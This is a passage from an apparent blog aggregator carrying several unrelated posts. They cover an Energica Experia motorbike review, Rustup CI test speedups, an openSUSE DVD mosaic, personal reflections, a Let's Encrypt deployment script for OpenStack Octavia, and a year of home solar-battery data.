    2. Hindsight again would suggest it was obvious to look here because it shows up when searching for KBUILD_BUILD_TIMESTAMP. I unfortunately wasn't familiar with the usr/ source folder initially, and focused on the core kernel components too much earlier. Oh well, we found it eventually. 

    3. I almost missed this initially. Thanks to the ASCII header format, strings was able to print the headers without any CPIO specific tooling. I did a double take when I noticed the headers for the broken CPIO were a little longer than the headers in the working one. 

    Sunday, 5 March 2023

    Paul WayperThe Energica Experia

    I recently bought an Energica Experia - the latest, largest and longest distance of Energica's electric motorbike models.

    The decision to do this rather than build my own was complicated, and I'm going to mostly skip over the detail of that. At some time I might put it in another blog post. But for now it's enough to say that I'd accidentally cooked the motor in my Mark I, the work on the Mark II was going to take ages, and I was in the relatively fortunate situation of being able to afford the Experia if I sold my existing Triumph Tiger Sport and the parts for the Mark II.

    For other complicated reasons I was planning to be in Sydney after the weekend that Bruce at Zen Motorcycles told me the bike would be arriving. Rather than have it freighted down, and since I would have room for my riding gear in our car, I decided to pick it up and ride it back on the Monday. In reconnoitering the route, we discovered that by pure coincidence Zen Motorcycles is on Euston Road in Alexandria, only 200 metres away from the entrance to WestConnex and the M8. So with one traffic light I could be out of Sydney.

    I will admit to being more than a little excited that morning. Electric vehicles are still, in 2023, a rare enough commodity that waiting lists can be months long; I ordered this bike in October 2022 and it arrived in March 2023. So I'd had plenty of time to build my expectations. And likewise the thought of riding a brand new bike - literally one of the first of its kind in the country (it is the thirty-second Experia ever made!) - was a little daunting. I obtained PDF copies of the manual and familiarised myself with turning the cruise control on and off, as well as checking and setting the regen braking levels. Didn't want to stuff anything up on the way home.

    There is that weird feeling in those situations of things being both very ordinary and completely unique. I met Bruce, we chatted, I saw the other Experia models in the store, met Ed - who had come down to chat with Bruce, and just happened to be the guy who rode a Harley Davidson Livewire from Perth to Sydney and then from Sydney to Cape Tribulation and back. He shared stories from his trip and tips on hypermiling. I signed paperwork, picked up the keys, put on my gear, prepared myself.

    Even now I still get a bit choked up just thinking of that moment. Seeing that bike there, physically real, in front of me - after those months of anticipation - made the excitement real as well.

    So finally, after making sure I wasn't floating, and making sure I had my ear plugs in and helmet on the right way round, I got on. Felt the bike's weight. Turned it on. Prepared myself. Took off. My partner followed behind, through the lights, onto the M8 toward Canberra. I gave her the thumbs up.

    We planned to stop for lunch at Mittagong, while the NRMA still offers the free charger at the RSL there. One lady was charging her Nissan Leaf on the ChaDeMo side; shortly after I plugged in a guy arrived in his Volvo XC40 Recharge. He had the bigger battery and would take longer; I just needed a ten minute top up to get me to Marulan.

    I got to Marulan and plugged in; a guy came thinking he needed to tell the petrol motorbike not to park in the electric vehicle bay, but then realised that the plug was going into my bike. Kate headed off, having charged up as well, and I waited another ten minutes or so to get a bit more charge. Then I rode back.

    I stopped, only once more - at Mac's Reef Road. I turned off and did a U turn, then waited for the traffic to clear before trying the bike's acceleration. Believe me when I say this bike will absolutely do a 0-100km/hr in under four seconds! It is not a light bike, but when you pull on the power it gets up and goes.

    Here is my basic review, given that experience and then having ridden it for about ten weeks around town.

    The absolute best feature of the Energica Experia is that it is perfectly comfortable riding around town. Ease on the throttle and it gently takes off at the traffic lights and keeps pace with the traffic. Ease off, and it gently comes to rest with regenerative braking and a light touch on the rear brake after stopping to hold it still. If you want to take off faster, wind the throttle on more. It is not temperamental or twitchy, and you have no annoying gears and clutch to balance.

    In fact, I feel much more confident lane filtering, because before I would have to have the clutch ready and be prepared to give the Tiger Sport lots of throttle lest I accidentally stall it in front of an irate line of traffic. With the Experia, I can simply wait peacefully - using no power - and then when the light goes green I simply twist on the throttle and I am away ahead of even the most aggressive car driver.

    It is amazingly empowering.

    I'm not going to bore you with the stats - you can probably look them up yourself if you care. The main thing to me is that it has DC fast charging, and watching 75KW go into a 22.5KWHr battery is just a little bit terrifying as well as incredibly cool. The stated range of 250km on a charge at highway speeds is absolutely correct, from my experience riding it down from Sydney. And that plus the fast charging means that I think it is going to be quite reasonable to tour on this bike, stopping off at fast or even mid-level chargers - even a boring 22KW charger can fill the battery up in an hour. The touring group I travel with stops often enough that if those stops can be top ups, I will not hold anyone up.

    Some time in the near future I hope to have a nice fine day where I can take it out on the Cotter Loop. This is an 80km stretch of road that goes west of Canberra into the foothills of the Brindabella Ranges, out past the Deep Space Tracking Station and Tidbinbilla Nature Reserve. It's a great combination of curving country roads and hilly terrain, and reasonably well maintained as well. I did that on the Tiger Sport, with a GoPro, before I sold it - and if I can ever convince PiTiVi to actually compile the video from it I will put that hour's ride up on a platform somewhere.

    I want to do that as much to show off Canberra's scenery as to show off the bike.

    And if the CATL battery capacity improvement comes through to the rest of the industry, and we get bikes that can do 400km to 500km on a charge, then electric motorbike touring really will be no different to petrol motorbike touring. The Experia is definitely at the forefront of that change, but it is definitely possible on this bike.

    Monday, 27 February 2023

    Robert CollinsRustup CI / test suite performance

    Rustup (the community package manage for the Rust language) was starting to really suffer : CI times were up at ~ one hour.

    We’ve made some strides in bringing this down.

    Caching factory for test scenarios

    The first thing, which achieved about a 30% reduction in test time was to stop recreating all the test context every time.

    Rustup tests the download/installation/upgrade of distributions of Rust. To avoid downloading gigabytes in the test suite, the suite creates mocks of the published Rust artifacts. These mocks are GPG signed and compressed with multiple compression methods, both of which are quite heavyweight operations to perform – and not actually the interesting code under test to execute.

    Previously, every test was entirely hermetic, and usually the server state was also unmodified.

    There were two cases where the state was modified. One, a small number of tests testing error conditions such as GPG signature failures. And two, quite a number of tests that were testing temporal behaviour: for instance, install nightly at time A, then with a newer server state, perform a rustup update and check a new version is downloaded and installed.

    We’re partway through this migration, but compare these two tests:

    fn check_updates_some() {
        check_update_setup(&|config| {
            set_current_dist_date(config, "2015-01-01");
            config.expect_ok(&["rustup", "update", "stable"]);
            config.expect_ok(&["rustup", "update", "beta"]);
            config.expect_ok(&["rustup", "update", "nightly"]);
            set_current_dist_date(config, "2015-01-02");
            config.expect_stdout_ok(
                &["rustup", "check"],
                for_host!(
                    r"stable-{0} - Update available : 1.0.0 (hash-stable-1.0.0) -> 1.1.0 (hash-stable-1.1.0)
    beta-{0} - Update available : 1.1.0 (hash-beta-1.1.0) -> 1.2.0 (hash-beta-1.2.0)
    nightly-{0} - Update available : 1.2.0 (hash-nightly-1) -> 1.3.0 (hash-nightly-2)
    "
                ),
            );
        })
    }
    
    fn check_updates_some() {
        test(&|config| {
            config.with_scenario(Scenario::ArchivesV2_2015_01_01, &|config| {
                config.expect_ok(&["rustup", "toolchain", "add", "stable", "beta", "nightly"]);
            });
            config.with_scenario(Scenario::SimpleV2, &|config| {
            config.expect_stdout_ok(
                &["rustup", "check"],
                for_host!(
                    r"stable-{0} - Update available : 1.0.0 (hash-stable-1.0.0) -> 1.1.0 (hash-stable-1.1.0)
    beta-{0} - Update available : 1.1.0 (hash-beta-1.1.0) -> 1.2.0 (hash-beta-1.2.0)
    nightly-{0} - Update available : 1.2.0 (hash-nightly-1) -> 1.3.0 (hash-nightly-2)
    "
                ),
            );
                })
        })
    }
    

    The former version mutates the date with set_current_dist_date; the new version uses two scenarios, one for the earlier time, and one for the later time. This permits the server state to be constructed only once. On a per-test basis it can move as much as 50% of the time out of the test.

    Single binary for the integration test suite

    The next major gain was moving from having 14 separate integration test binaries to just one. This reduces the link cost of linking the test binaries, all of which link in the same library. It also permits us to see unused functions in our test support library, which helps with cleaning up cruft rather than having it accumulate.

    Hard linking rather than copying ‘rustup-init’

    Part of the test suite for each test is setting up an installed rustup environment. Why not start from scratch every time? Well, we obviously have tests that do that, but most tests are focused on steps beyond the new-user case. Setting up an installed rustup environment has a few steps, but particular ones are copying a binary of rustup into the test sandbox, and hard linking it under various names: cargo, rustc, rustup etc.

    A debug build of rustup is ~20MB. Running 400 tests means about 8GB of IO; on some platforms most of that IO won’t hit disk, on others it will.

    In review now is a PR that changes the initial copy to a hardlink: we hardlink the rustup-init built by cargo into each test, and then hardlink that to the various binaries. That saves 8GB of IO, which isn’t much from some perspectives, but it adds pressure on the page cache, and is wasted work. One wrinkle is a very low max-links limit on NTFS of 1023; to mitigate that we count the links made to rustup-init and generate a new inode for the original to avoid failures happening.

    Future work

    In GitHub actions this lowers our test time to 19m for Linux, 24m for Windows, which is a lot better but not great.

    I plan on experimenting with separate actions for building release artifacts and doing CI tests – at the moment we have the same action do both, but they don’t share artifacts in the cache in any meaningful way, so we can probably gain parallelism there, as well as turning off release builds entirely for CI.

    We should finish the cached test context work and use it everywhere.

    Also we’re looking at having less integration tests and more narrow close to the code tests.

    Monday, 6 February 2023

    Tim SerongHack Week 22: An Art Project

    Back in 2012, I received a box of eight hundred openSUSE 12.1 promo DVDs, which I then set out to distribute to local Linux users’ groups, tech conferences, other SUSE crew in Australia, and so forth. I didn’t manage to shift all 800 DVDs at the time, and I recently rediscovered the remaining three hundred and eighty four while installing some new shelves. As openSUSE 12.1 went end of life in May 2013, it seemed likely the DVDs were now useless, but I couldn’t bring myself to toss them in landfill. Instead, given last week was Hack Week, I decided to use them for an art project. Here’s the end result:

    Geeko mosaic made of cut up openSUSE DVDs, on a 900mm x 600mm piece of plywood

    Making that mosaic was extremely fiddly. It’s possibly the most annoying Hack Week project I’ve ever done, but I’m very happy with the outcome 🙂

    The backing is a piece of 900mm x 600mm x 6mm plywood, primed with some leftover kitchen and bathroom undercoat, then spray pained black. I’d forgotten how bad spray paint smells, but it makes for a nice finish. To get the Geeko shape, I took the official openSUSE logo, then turned it into an outline in Inkscape, saved that as a PNG, opened it in GIMP, and cut it into nine 300mm x 200mm pieces which I then printed on A4 paper, stuck together with tape, and cut out to make a stencil. Of course, the first time I did that, nothing quite lined up, so I had to reprint it but with “Ignore page margins” turned off and “Draw crop marks” turned on, then cut the pages down along the crop marks before sticking them together the second time. Then I placed the stencil on the backing, glued the eye down (that just had to be made from the centre of a DVD!) and started laying out cut up DVD shards.

    Geeko mosaic work in progress

    I initially tried cutting the DVDs with tin snips, which is easy on the hands, but had a tendency to sometimes warp the DVD pieces and/or cause them to delaminate, so I reverted to a large pair of scissors which was more effort but ultimately less problematic.

    After placing the pieces that made up the head, tail, feet and spine, and deciding I was happy with how they looked, I glued each piece down with superglue. Think: carefully pick up DVD shard without moving too many other shards, turn over, dab on a few tiny globs of superglue, lower into place, press for a few seconds, move to next piece. Do not get any superglue on your fingers, or you’ll risk sticking your fingers together and/or make a gluey mess on the shiny visible side of the DVD shards.

    It was another three sessions of layout-then-glue-down to fill in the body. I think I stuck my fingers together about six, or eight, or maybe twenty times. Also, despite my best efforts to get superglue absolutely nowhere near the stencil at all, when I removed the stencil, it had stuck to the backing in several places. I managed to scrape/cut that off with a combination of fingernails, tweezers, and the very sharp knife in my SLE 12 commemorative Leatherman tool, then touched up the remaining white bits with a fine point black Sharpie.

    SLE 12 commemorative Leatherman tool (it seemed appropriate to use this)

    Judging from the leftover DVD centre pieces, this mosaic used about 12 DVDs in all, which isn’t very many considering my initial stash. I had a few other ideas for the remainder, mostly involving hanging them up somehow, which I messed around with earlier on while waiting for the paint to dry on the plywood.

    One (failed) idea was to use a cutting wheel on my Dremel tool to slice half way through a few DVDs, then slot them into each other to make a hanging thingy that would spin in the wind. I was unable to make a smooth/straight enough cut for this to work, and superglue doesn’t bridge gaps. You can maybe get an idea of what I was aiming at from this photo:

    Four DVDs slotted into each other vertically, kinda, one with nasty superglue smear

    My wife had an idea for a better way to do this, which is to take a piece of dowel, cut slots in the sides, and glue DVD halves into the slots using Araldite (that’s an epoxy resin, in case you didn’t grow up with that brand name). I didn’t get around to trying this, but I reckon she’s onto something. Next time I’m at the hardware store, I’ll try to remember to pick up some suitably sized dowel.

    I did make one somewhat simpler hanging thingy, which I call “Geeko’s Tail (Uncurled)”. It’s just DVDs superglued together on the flat, hanging from fishing line, but I think it’s kinda cool:

    No, it’s not an upside down question mark, it’s “Geeko’s Tail (Uncurled)”

    Also, I’ve discovered that Officeworks has an e-waste recycling program, so any DVDs I don’t use in future projects needn’t go to landfill.

    Update 2023-02-20: For photos of the mosaic, plus wallpapers made from the photos, see https://github.com/tserong/hackweek22

    Saturday, 21 January 2023

    Colin CharlesLong Malaysians, Short Malaysia

    I have long said “Long Malaysians, Short Malaysia” in conversation to many. Maybe it took me a while to tweet it, but this was the first example: Dec 29, 2021. I’ve tweeted it a lot more since.

    Malaysia has a 10th Prime Minister, but in general, it is a very precarious partnership. Consider it, same shit, different day?

    I just have to get off the Malaysian news diet. Malaysians elsewhere, are generally very successful. Malaysians suffering by their daily doldrums, well, they just need to wake up, see the light, and succeed.

    In the end, as much as people paraphrase, ask not what the country can do for you, legitimately, this is your life, and you should be taking good care of yourself and your loved ones. You succeed, despite of. Politics and the state happens, regardless of.

    Me, personally? Ideas are abound for how to get Malaysians who see the light, to succeed elsewhere. And if I read, and get angry at something (tweet rage?), I’m going to pop RM50 into an investment account, which should help me get off this poor habit. I’ll probably also just cut subscriptions to Malaysian news things… Less exposure, is actually better for you. I can’t believe that it has taken me this long to realise this.

    Time to build.

    Colin CharlesHello 2023

    I did poorly blogging last year. Oops. I think to myself when I read, This Thing Still On?, I really have to do better in 2023. Maybe the catalyst is the fact that Twitter is becoming a shit show. I doubt people will leave the platform in droves, per se, but I think we are coming back to the need for decentralised blogs again.

    I have 477 days to becoming 40. I ditched the Hobonich Techo sometime in 2022, and just focused on the Field Notes, and this year, I’ve got a Monocle x Leuchtturm1917 + Field Notes combo (though it seems my subscription lapsed Winter 2022, I should really burn down the existing collection, and resubscribe).

    2022 was pretty amazing. Lots of work. Lots of fun. 256 days on the road (what a number), 339,551km travelled, 49 cities, 20 countries.

    The getting back into doing, and not being afraid of experimenting in public is what 2023 is all about. The Year of The Rabbit is upon us tomorrow, hence why I don’t mind a little later Hello 2023 :)

    Get back into the habit of doing. And publishing by learning and doing. No fear. Not that I wasn’t doing, but its time to be prolific with what’s been going on.

    I better remember that.

    Sunday, 6 November 2022

    Dave HallUpgrading to AWS Lambda Powertools for Python v2

    Learn how easy it is to upgrade AWS Lambda Powertools to version.

    Sunday, 23 October 2022

    Andrew RuthvenLet's Encrypt with Octavia in OpenStack

    I like using Catalyst Cloud to host some of my personal sites. In the past I used to use CAcert for my TLS certificates, but more recently I've been using Let's Encrypt for my TLS certificates as they're trusted in all browsers. Currently the LoadBalancer as a Service (LBaaS) in Catalyst Cloud doesn't have built in support for Let's Encrypt. I could use an apache2/nginx proxy and handle the TLS termination there and have that manage the Let's Encrypt lifecycle, but really, I'd rather use LBaaS.

    So I thought I'd set about working out how to get Dehydrated (the Let's Encrypt client I've been using) to drive LBaaS (known as Octavia). I figured this would be of interest to other people using Octavia with OpenStack in general, not just Catalyst Cloud.

    There's a few things you need to do. These instructions are specific to Debian:

    1. Install and configure Dehydrated to create the certificates for the domain(s) you want.
      • apt install barbican
    2. Create the LoadBalancer (use the API, ClickOps, whatever), just forward port 80 for now (see sample Apache configs below).
    3. Save the sample hook.sh below to /etc/dehydrated/hook.sh, you'll probably need to customise it, mine is a bit more complicated!
    4. Insert the UUID of your LoadBalancer in hook.sh where LB_LISTENER is set.
    5. Create /etc/dehydrated/catalystcloud/password as described in hook.sh
    6. Save OpenRC file from the Catalyst Cloud dashboard as /etc/dehydrated/catalystcloud/openrc.sh
    7. Install jq, openssl and the openstack tools, on Debian this is:
      • apt install jq openssl python3-openstackclient python3-barbicanclient python3-octaviaclient
    8. Add TLS termination to your LoadBalancer
    9. You should be able to rename the latest certs /var/lib/dehydrated/certs/$DOMAIN and then run dehydrated -c to have it reissue and then deploy a cert.

    As we're using HTTP-01 Challenge Type here, you need to have the LoadBalancer forwarding port 80 to your website to allow for the challenge response. It is good practice to have a redirect to HTTPS, here's an example virtual host for Apache:

    <VirtualHost *:80>
        ServerName www.example.com
        ServerAlias example.com
    
        RewriteEngine On
        RewriteRule ^/.well-known/ - [L]
        RewriteRule ^/(.*)$ https://www.example.com/$1 [R=301,L]
    
        <Location />
            Require all granted
        </Location>
    </VirtualHost>
    
    You all also need this in /etc/apache2/conf-enabled/letsencrypt.conf:
    Alias /.well-known/acme-challenge /var/lib/dehydrated/acme-challenges
    
    <Directory /var/lib/dehydrated/acme-challenges>
            Options None
            AllowOverride None
    
            # Apache 2.x
            <IfModule !mod_authz_core.c>
                    Order allow,deny
                    Allow from all
            </IfModule>
    
            # Apache 2.4
            <IfModule mod_authz_core.c>
                    Require all granted
            </IfModule>
    </Directory>
    

    And that should be all that you need to do. Now, when Dehydrated updates your certificate, it should update your LoadBalancer as well!

    Sample hook.sh:
    deploy_cert() {
        local DOMAIN="${1}" KEYFILE="${2}" CERTFILE="${3}" FULLCHAINFILE="${4}" \
              CHAINFILE="${5}" TIMESTAMP="${6}"
        shift 6
    
        # File contents should be:
        #   export OS_PASSWORD='your password in here'
        . /etc/dehydrated/catalystcloud/password
    
        # OpenRC file from the Catalyst Cloud dashboard
        . /etc/dehydrated/catalystcloud/openrc.sh --no-token
    
        # UUID of the LoadBalancer to be managed
        LB_LISTENER='xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'
    
        # Barbican uses P12 files, we need to make one.
        P12=$(readlink -f $KEYFILE \
            | sed -E 's/privkey-([0-9]+)\.pem/barbican-\1.p12/')
        openssl pkcs12 -export -inkey $KEYFILE -in $CERTFILE -certfile \
            $FULLCHAINFILE -passout pass: -out $P12
    
        # Keep track of existing certs for this domain (hopefully no more than 100)
        EXISTING_URIS=$(openstack secret list --limit 100 \
            -c Name -c 'Secret href' -f json \
            | jq -r ".[]|select(.Name | startswith(\"$DOMAIN\"))|.\"Secret href\"")
    
        # Upload the new cert
        NOW=$(date +"%s")
        openstack secret store --name $DOMAIN-$TIMESTAMP-$NOW -e base64 \
            -t "application/octet-stream" --payload="$(base64 < $P12)"
    
        NEW_URI=$(openstack secret list --name $DOMAIN-$TIMESTAMP-$NOW \
            -c 'Secret href' -f value) \
            || unset NEW_URI
    
        # Change LoadBalancer to use new cert - if the old one was the default,
        # change the default. If the old one was in the SNI list, update the
        # SNI list.
        if [ -n "$EXISTING_URIS" ]; then
            DEFAULT_CONTAINER=$(openstack loadbalancer listener show $LB_LISTENER \
                -c default_tls_container_ref -f value)
    
            for URI in $EXISTING_URIS; do
                if [ "x$URI" = "x$DEFAULT_CONTAINER" ]; then
                    openstack loadbalancer listener set $LB_LISTENER \
                        --default-tls-container-ref $NEW_URI
                fi
            done
    
            SNI_CONTAINERS=$(openstack loadbalancer listener show $LB_LISTENER \
                -c sni_container_refs -f value | sed "s/'//g" | sed 's/^\[//' \
                | sed 's/\]$//' | sed "s/,//g")
    
            for URI in $EXISTING_URIS; do
                if echo $SNI_CONTAINERS | grep -q $URI; then
                    SNI_CONTAINERS=$(echo $SNI_CONTAINERS | sed "s,$URI,$NEW_URI,")
                    openstack loadbalancer listener set $LB_LISTENER \
                        --sni-container-refs $SNI_CONTAINERS
                fi
            done
    
            # Remove old certs
            for URI in $EXISTING_URIS; do
                openstack secret delete $URI
            done
        fi
    }
    
    HANDLER="$1"; shift
    #if [[ "${HANDLER}" =~ ^(deploy_challenge|clean_challenge|sync_cert|deploy_cert|deploy_ocsp|unchanged_cert|invalid_challenge|request_failure|generate_csr|startup_hook|exit_hook)$ ]]; then
    if [[ "${HANDLER}" =~ ^(deploy_cert)$ ]]; then
        "$HANDLER" "$@"
    fi
    

    Wednesday, 19 October 2022

    Dave HallTracking Infrastructure with SSM and Terraform

    Use AWS SSM Parameter Store to share resource references with other teams.

    Tuesday, 4 October 2022

    Tim SerongTANSTAAFL

    It’s been a little over a year since our Redflow ZCell battery and Victron Energy inverter/charger kit were installed on our existing 5.94kW solar array. Now that we’re past the Southern Hemisphere spring equinox it seems like an opportune time to review the numbers and try to see exactly how the system has performed over its first full year. For background information on what all the pieces are and what they do, see my earlier post, Go With The Flow.

    As we look at the figures for the year, it’s worth keeping in mind what we’re using the battery for, and how we’re doing it. Naturally we’re using it to store PV generated electricity for later use when the sun’s not shining. We are also charging the battery from the grid at certain times so it can be drawn down if necessary during peak times, for example I set up a small overnight charge to ensure there was power for the weekday morning peak, when the sun isn’t really happening yet, but grid power is more than twice as expensive. More recently in the winter months, I experimented with keeping the battery full with scheduled charges during most non-peak times. This involved quite a bit more grid charging, but got us through a couple of three hour grid outages without a hitch during some severe weather in August.

    I spent some time going through data from the VRM portal for the last year, and correlating that with current bills from Aurora energy, and then I tried to compare our last year of usage with a battery, to the previous three years of usage without a battery. For reasons that will become apparent later, this turned out to be a massive pain in the ass, so I’m going to start by looking only at what we can see in the VRM portal for the past year.

    The VRM portal has three summary views: System Overview, Consumption and Solar. System Overview tells us overall how much total power was pulled from the grid, how much was exported to the grid, how much was produced locally, and how much was consumed by our loads. The Consumption view (which I wish they’d named “Loads”, because I think that would be clearer) gives us the same consumption figure, but tells us how much of that came from the grid, vs. what came from the battery vs. what came from solar. The Solar view tells us how much PV generation went to the grid, how much went to the battery, and how much was used directly. There is some overlap in the figures from these three views, but there are also some interesting discrepancies, notably: the “From Grid” and “To Grid” figures shown under System Overview are higher than what’s shown in the Consumption and Solar views. But, let’s start by looking at the Consumption and Solar views, because those tell us what the system gives us, and what we’re using. I’ll come back after that to the System Overview, which is where things start to get weird and we discover what the system costs to run.

    The VRM portal lets you chose any date range you like to get historical figures and bar charts. It also gives you pie charts of the last 24 hours, 7 days, 30 days and 365 days. To make the figures and bar charts match the pie charts, the year we’re analysing starts at 4pm on September 25, 2021 and ends at 4pm on September 25, 2022, because that’s exactly when I took the following screenshots. This means we get a partial September at each end of the bar chart. I’m sorry about that.

    Here’s the Consumption view:

    Consumption view from VRM portal, 2021-09-25 16:00 – 2022-09-25 16:00

    This shows us that in the last 12 months, our loads consumed 10,849kWh of electricity. Of that, 54% (5,848kWh) came from the grid, 23% (2,506kWh) came direct from solar PV and the final 23% (2,494kWh) came from the battery.

    From the rough curve of the bar chart we can see that our consumption is lower in the summer months and higher in the winter months. I can’t say for certain, but I have to assume that’s largely due to heating. The low in February was 638kWh (an average of 22.8kWh/day). The high in July was 1,118kWh (average 36kWh/day).

    Now let’s look at the Solar view:

    Solar view from VRM portal, 2021-09-25 16:00 – 2022-09-25 16:00

    In that same time period we generated 5,640kWh with our solar array, of which 44% (2,506kWh) was used directly by our loads, 43% (2,418kWh) went into the battery and 13% (716kWh) was exported to the grid.

    Unsurprisingly our generation is significantly higher in summer than in winter. We got 956kWh (average 30kWh/day) in December but only 161kWh (5.3kWh/day) in June. Peak summer figures like that mean we’ll theoretically be able to do without grid power at all during that period once we get a second ZCell (note that we’re still exporting to the grid in December – that’s because we’ve got more generation capacity than storage). The winter figures clearly indicate that there’s no way we can provide anywhere near all our own power at that time of year with our current generation capacity and loads.

    Now look closely at the summer months (December, January and February). There should be a nice curve evident there from December to March, but instead January and February form a weird dip. This is because we were without solar generation for three weeks from January 20 – February 11 due to replacing a faulty MPPT. Based on figures from previous years, I suspect we lost 500-600kWh of potential generation in that period.

    Another interesting thing is that if we compare “To Battery” on the Solar view (2,418kWh) with “From Battery” on the Consumption view (2,494kWh), we see that our loads consumed 76kWh more from the battery than we actually put into it with solar generation. This discrepancy is due to the fact that in addition to charging the battery from solar, we’ve also been charging it from the grid at certain times, but the amount of power sent to the battery from the grid isn’t broken out explicitly anywhere in the VRM portal.

    Now let’s look at the System Overview:

    System Overview view from VRM portal, 2021-09-25 16:00 – 2022-09-25 16:00

    Here we see the same figures for “Production” (5,640kWh) and “Consumption” (10,849kWh) as were in the Consumption and Solar views, and the bar chart shows the same consumption and generation curves (ignore the blue overlay and line which indicate battery minimum/maximum and average state of charge – that information is largely meaningless at this scale, given we cycle the battery completely every day).

    Now look at “To Grid” and “From Grid”. “To Grid” is 754 kWh, i.e. we somehow sent 38kWh more to the grid than came from solar. “From Grid”, at 8,531kWh, is a whopping 2,683kWh more than the 5,848kWh grid power consumed by our loads (i.e. close to half as much again).

    So, what’s going on here?

    One factor is that we’re charging the battery from the grid at certain times. Initially that was a few hours overnight and a few hours in the afternoon on weekdays, although the afternoon charge is obviously also provided by the solar if the sun is shining. For all of July, August and most of September though I was using a charge schedule to keep the battery full except for peak times and maintenance cycle nights, which meant quite a bit more grid charging overnight than earlier in the year, as well as grid charging most of the day during days with no or minimal sunshine. Grid power sent to the battery isn’t visible in the “From Grid” figure on the Consumption view – that view shows only our loads, i.e. the equipment the system is powering – but it is part of the “From Grid” figure in the System Overview.

    Similarly, some of the power we export to the grid is actually exported from the battery, as opposed to being exported from solar generation. That usually only happens during maintenance cycles when our loads aren’t enough to draw the battery down at the desired discharge rate. But again, same thing, that figure is present here on the system overview page as part of “To Grid”, but of course is not part of the “To Grid” figure on the Solar view.

    Another factor is that the system itself needs some amount of power to operate. The Victron kit (the MultiPlus II Inverter/Chargers, the Cerbo GX, the MPPT) use some small amount of power themselves. The ZCell battery also requires power to operate its pumps and fans. When the sun is out this power can of course come from solar. When solar power is not available, power to run the system needs to come from some combination of the remaining charge in the battery, and the grid.

    On that note, I did a little experiment to see how much power the system uses just to operate. On July 9 (which happened to be a maintenance cycle day), I disabled all scheduled battery charges, and I shut off the DC isolators for the solar PV, so the battery would remain online (pumps and fans running) but empty for all of July 10. The following day I went and checked the figures on the System Overview, which showed we drew 35kWh, but that our consumption was 33kWh. So, together, the battery doing nothing other than running its pumps and fans, plus the Multis doing nothing other than passing grid power through, used 2kWh of power in 24 hours. Over a year, that’s 730kWh. As mentioned above, ordinarily some of that will be sourced from mains and some from solar, but if we look at the total power that came into the system as a whole (5,640kWh from solar + 8,531kWh from the grid = 14,171kWh), 730kWh is just slightly over 5% of that.

    The final factor in play is that a certain amount of power is naturally lost due to conversion at various points. The ZCell has a maximum 80% DC-DC stack efficiency, meaning in the absolute best case if you want to get 10kW out of it, you have to put 12.5kW in. In reality you’ll never hit the best case: the lifetime charge and discharge figures the BMS currenly shows for our ZCell are 4,423 and 3,336kWh respectively, which is a bit over 75%. The Multis have a maximum efficiency of 96% when doing their invert/charge dance, so if we grid charge the battery, we lose at least 4% on the way in, and at least 4% on the way out as well, going to and from AC/DC. Again, in reality that loss will be higher than 4% each way, because 96% is the maximum efficiency.

    A bunch of the stuff above just doesn’t apply to the previous system with the ABB inverter and no battery. I also don’t have anything like as much detailed data to go on for the old system, which makes comparing performance with the new system fiendishly difficult. The best comparison I’ve been able to come up with so far involves looking at total power input to the system (power from grid plus solar generation), total consumption by loads (i.e. actual locally usable power), and total power exported.

    Prior to the Victron gear and Redflow battery installation, I had grid import and export figures from my Aurora Energy bills, and I had total generation figures from the ABB inverter. From this I can synthesise what are hopefully reasonably accurate load consumption figures by adding grid input to total PV generation minus grid export.

    I had hoped to do this analysis on a quarterly basis to line up with Aurora bills, because then I would also be able to see how seasonal solar generation and usage went up and down. Unfortunately the billing for 2020 and 2021 was totally screwed up by the COVID-19 pandemic, because there were two quarters during which nobody was coming out to read the electricity meter. The bills for those quarters stated estimated usage (i.e. were wrong, especially given they estimated grid export as zero), with subsequent quarters correcting the figures. I have no way to reliably correlate that mess with my PV generation figures, except on an annual basis. Also, using billing periods from pre-battery years, the closest I can get to the September 25 based 2021-2022 year I’m looking at now is billing periods starting and ending in mid-August. But, that’s close enough. We’ve still got four pretty much back-to-back 12 month periods to look at.

    YearGrid InSolar InTotal InLoadsExport
    2018-20199,0316,68215,71311,8273,886
    2019-20209,3246,46815,79212,2553,537
    2020-20217,5826,34713,92910,3583,571
    2021-20228,5315,64014,17110,849754

    One thing of note here is that in the 2018-2019 and 2019-2020 years, our annual consumption was pretty close to 12MWh, whereas in 2020-2021 and 2021-2022 it was closer to 10.5MWh. If I had to guess, I’d say that ~1.5MWh/year drop is due to a couple of pieces of computer equipment that were previously always on, now mostly running in standby mode except when actually needed. A couple of hundred watts constant draw is a fair whack of power over the course of a year. Another thing to note is the big drop in power exported in 2021-2022, because most of our solar generation is now used locally.

    The thing that freaked me out when looking at these figures is that in the battery year, while our loads consumed 491kWh more than in the previous non-battery year, we pulled 949kWh more power in from the grid! This is the opposite of what I had expected to see, especially having previously written:

    In the eight months the system has been running we’ve generated 4631kWh of electricity and “only” sent 588kWh to the grid, which means we’ve used 87% of what we generated locally – much better than the pre-battery figure of 45%. I suspect we’ve reduced the amount of power we pull from the grid by about 30% too, but I’ll have to wait until we have a full year’s worth of data to be sure.

    – by me at the end of Go With The Flow

    When I wrote that, I was looking at August 31, 2021 through April 27, 2022, and comparing that to the August 2020 to May 2021 grid power figures from my old Aurora bills. The mistake I must have made back then was to look at “From Grid” on the Consumption view, rather than “From Grid” on the System Overview. I’ve just done this exercise again, and the total grid draw from our Aurora bills from August 2020 to May 2021 is 4,980kWh. “From Grid” on the Consumption view for August 2021 to May 2022 is 3,575kWh, which is about 30% less, but “From Grid” on the System Overview is 4,754kWh, which is only about 5% less. So our loads pulled about 30% less from the grid than the same time the year before, but our system as a whole didn’t.

    Now let’s break our ridiculous September-based year down further into months, to see if we can see more detail. I’ve highlighted some interesting periods in bold.

    MonthGrid InSolar InTotal InLoadsExport
    Sep 21 (part)1531012542136
    Oct 216366291,26598855
    Nov 214307471,17786697
    Dec 212329561,188767176
    Jan 226524501,10282274
    Feb 2247043090063883
    Mar 224985681,06681364
    Apr 2260937798677527
    May 229102381,1489533
    Jun 221,1141611,27510732
    Jul 221,1632231,386111811
    Aug 229103751,28596664
    Sep 22 (part)7543851,13985792
    Total8,5315,64014,17110,849754

    December is great. We generated about 25% more power than our loads use (956/767=1.25), and our grid input was only about 30% of the total of our loads (232/767=0.30).

    January and February show the effects of missing three weeks of potential generation. I mean, just look at December through February 2021-2022 versus the previous three summers.

    PV Generation December through January 2018-2022
     2018-20192019-20202020-20212021-2022
    December919882767956
    January936797818450
    February699656711430

    June and July are terrible. They’re our highest load months, with the lowest solar generation and we pulled 3-4% more power from the grid than our loads actually consumed. I’m going to attribute the latter largely to grid charging the battery.

